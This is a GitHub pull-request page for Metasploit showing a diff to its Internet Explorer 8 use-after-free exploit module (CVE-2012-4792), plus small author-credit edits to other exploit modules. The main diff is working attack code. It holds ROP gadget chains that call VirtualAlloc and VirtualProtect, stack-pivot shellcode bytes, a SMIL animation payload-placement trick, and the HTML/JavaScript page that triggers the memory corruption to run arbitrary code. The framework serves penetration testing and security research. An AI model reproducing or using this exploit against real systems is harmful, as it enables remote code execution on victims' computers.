Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Implement WTFuzz's no-spray technique #1232

Merged
merged 11 commits into from
Jan 3, 2013
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
253 changes: 178 additions & 75 deletions modules/exploits/windows/browser/ie_cbutton_uaf.rb
Expand Up @@ -30,8 +30,9 @@ def initialize(info={})
[
'eromang',
'mahmud ab rahman',
'juan vazquez',
'sinn3r' #Metasploit
'juan vazquez', #Metasploit
'sinn3r', #Metasploit
'Peter Vreugdenhil' #New trigger & new exploit technique
],
'References' =>
[
Expand All @@ -42,13 +43,15 @@ def initialize(info={})
[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ]
[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
[ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
],
'Payload' =>
{
'Space' => 980,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true
},
'DefaultOptions' =>
{
Expand All @@ -58,10 +61,10 @@ def initialize(info={})
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 27 2012",
Expand Down Expand Up @@ -107,27 +110,51 @@ def get_target(agent)
return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))
def ie8_smil(my_target, p)

case my_target['Rop']
when :msvcrt
case my_target.name
when 'IE 8 on Windows XP SP3'
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
when 'IE 8 on Windows Server 2003'
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
end
else
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
end

padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
js_payload = Rex::Text.to_unescape(p)

# Land the payload at 0x0c0c0b30
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
unicorn = unescape("#{padding}");
for (i=0; i < 3; i++) {
unicorn += unescape("#{padding}");
}
|

js = heaplib(js, {:noobfu => true})
unicorn += unescape("#{js_payload}");

animvalues = unescape("#{align_esp}");

for (i=0; i < 0xDC/4; i++) {
if (i == 0xDC/4-1) {
animvalues += unescape("#{xchg_esp}");
}
else {
animvalues += unescape("#{align_esp}");
}
}

animvalues += unicorn;

for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
|

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
Expand All @@ -137,85 +164,162 @@ def ie_heap_spray(my_target, p)
return js
end

def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end

def nop
return make_nops(4).unpack("V")[0].to_i
end

def get_payload(t, cli)
code = payload.encoded

# No rop. Just return the payload.
return code if t['Rop'].nil?

=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
=end
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
if t.name =~ /Windows XP/
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
case t.name
when 'IE 8 on Windows XP SP3'
rop_gadgets =
[
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
0x77c1e844, # skip 4 bytes [msvcrt.dll]
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
0xffffffff,
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
].pack("V*")
when 'IE 8 on Windows Server 2003'
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0990F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
nop,
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
end
else
print_status("Using JRE ROP")
stack_pivot = [0x7c348b06].pack("V") * 54 # ret
stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
rop_gadgets =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0xffffffff,
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
# rop chain generated with mona.py
].pack("V*")
end

rop_payload = rop_gadgets
case t['Rop']
when :msvcrt
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
else
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
end
rop_payload << code
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt

return rop_payload
end

def load_exploit_html(my_target, cli)

p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
js = ie8_smil(my_target, p)

html = %Q|
<!doctype html>
<html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<script>
#{js}
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>

<script>
function helloWorld()
{
var e0 = null;
var e1 = null;
var e2 = null;
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");

#{js}

for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);

e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));

try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
var eip = window;
var data = "#{Rex::Text.rand_text_alpha(41)}";
eip.location = unescape("%u0b30%u0c0c" + data);

try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}

</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
<t:ANIMATECOLOR id="myanim"/>
<div id="divelm"></div>
<form id="formelm">
</form>
<dfn id="b">
</dfn>
</body>
</html>
|
Expand Down Expand Up @@ -277,5 +381,4 @@ def on_request_uri(cli, request)
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????

=end
=end
Expand Up @@ -40,7 +40,7 @@ def initialize(info={})
[
'Alexander Gavrun', # Vulnerability discovery
'Dmitriy Pletnev', # Vulnerability discovery
'James Fitts', # Metasploit module
'James Fitts <fitts.james[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/windows/fileformat/cytel_studio_cy3.rb
Expand Up @@ -29,7 +29,7 @@ def initialize(info = {})
'Author' =>
[
'Luigi Auriemma', # Initial Discovery/PoC
'James Fitts' # Metasploit Module (Thx Juan & Jeff)
'James Fitts <fitts.james[at]gmail.com>' # Metasploit Module (Thx Juan & Jeff)
],
'Version' => '$Revision$',
'References' =>
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/windows/fileformat/fatplayer_wav.rb
Expand Up @@ -29,7 +29,7 @@ def initialize(info = {})
'License' => MSF_LICENSE,
'Author' =>
[
'James Fitts', # Original Exploit
'James Fitts <fitts.james[at]gmail.com>', # Original Exploit
'dookie', # Metasploit Module
],
'Version' => '$Revision$',
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb
Expand Up @@ -27,7 +27,7 @@ def initialize(info = {})
'Richard Leahy', # Initial discovery
'X-h4ck', # msf module is based on his poc
'Tiago Henriques', # msf module
'James Fitts' # clean ups
'James Fitts <fitts.james[at]gmail.com>' # clean ups
],
'References' =>
[
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/windows/fileformat/microp_mppl.rb
Expand Up @@ -26,7 +26,7 @@ def initialize(info = {})
arbitrary code execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' => [ 'James Fitts' ],
'Author' => [ 'James Fitts <fitts.james[at]gmail.com>' ],
'Version' => '$Revision$',
'References' =>
[
Expand Down
2 changes: 1 addition & 1 deletion modules/exploits/windows/fileformat/mini_stream_pls_bof.rb
Expand Up @@ -25,7 +25,7 @@ def initialize(info = {})
[
'Madjix', # original discovery
'Tiago Henriques', # metasploit module
'James Fitts' # clean ups
'James Fitts <fitts.james[at]gmail.com>' # clean ups
],
'Version' => '$Revision$',
'References' =>
Expand Down
Expand Up @@ -25,7 +25,7 @@ def initialize(info = {})
'Author' => [
'Luigi Auriemma', # original discovery
'Rinat Ziyayev',
'James Fitts'
'James Fitts <fitts.james[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
Expand Down